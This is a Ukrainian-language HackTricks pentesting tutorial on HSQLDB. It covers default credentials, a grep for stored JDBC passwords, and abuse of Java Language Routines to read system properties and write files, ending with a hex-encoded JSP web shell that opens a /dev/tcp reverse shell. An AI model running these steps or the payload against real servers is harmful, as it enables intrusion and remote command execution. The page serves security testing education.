9001 - Pentesting HSQLDB

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базова інформація

HSQLDB (HyperSQL DataBase) - це провідна SQL реляційна система баз даних, написана на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний двигун баз даних з таблицями у пам'яті та на диску, підтримує вбудований та серверний режими.

Порт за замовчуванням: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Інформація

Налаштування за замовчуванням

Зверніть увагу, що за замовчуванням цей сервіс, ймовірно, працює в пам'яті або прив'язаний до локального хоста. Якщо ви його знайшли, ймовірно, ви використали інший сервіс і хочете підняти привілеї.

За замовчуванням облікові дані зазвичай є sa з порожнім паролем.

Якщо ви використали інший сервіс, шукайте можливі облікові дані за допомогою

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Зверніть увагу на назву бази даних - вам знадобиться це для підключення.

Збір інформації

Підключіться до екземпляру БД, завантаживши HSQLDB та розпакувавши hsqldb/lib/hsqldb.jar. Запустіть GUI-додаток (вуу) за допомогою java -jar hsqldb.jar та підключіться до екземпляру, використовуючи виявлені/слабкі облікові дані.

Зверніть увагу, що URL підключення буде виглядати приблизно так для віддаленої системи: jdbc:hsqldb:hsql://ip/DBNAME.

Хитрощі

Методи мови Java

Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи Методи мови Java. Зверніть увагу, що викликаний клас повинен бути в шляху до класів додатка.

ММЖ можуть бути функціями або процедурами. Функції можна викликати через SQL-оператори, якщо метод Java повертає одну або декілька SQL-сумісних примітивних змінних. Їх викликають за допомогою оператора VALUES.

Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, яку викликають за допомогою оператора CALL.

Читання властивостей системи Java

Створіть функцію:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Виконати функцію:

VALUES(getsystemproperty('user.name'))

Ви можете знайти список системних властивостей тут.

Запис вмісту у файл

Ви можете використовувати Java-гаджет com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename, розташований в JDK (автоматично завантажується в шлях програми), для запису елементів, закодованих у шістнадцяткову систему, на диск через власну процедуру. Зверніть увагу на максимальний розмір 1024 байти.

Створіть процедуру:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Виконати процедуру:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated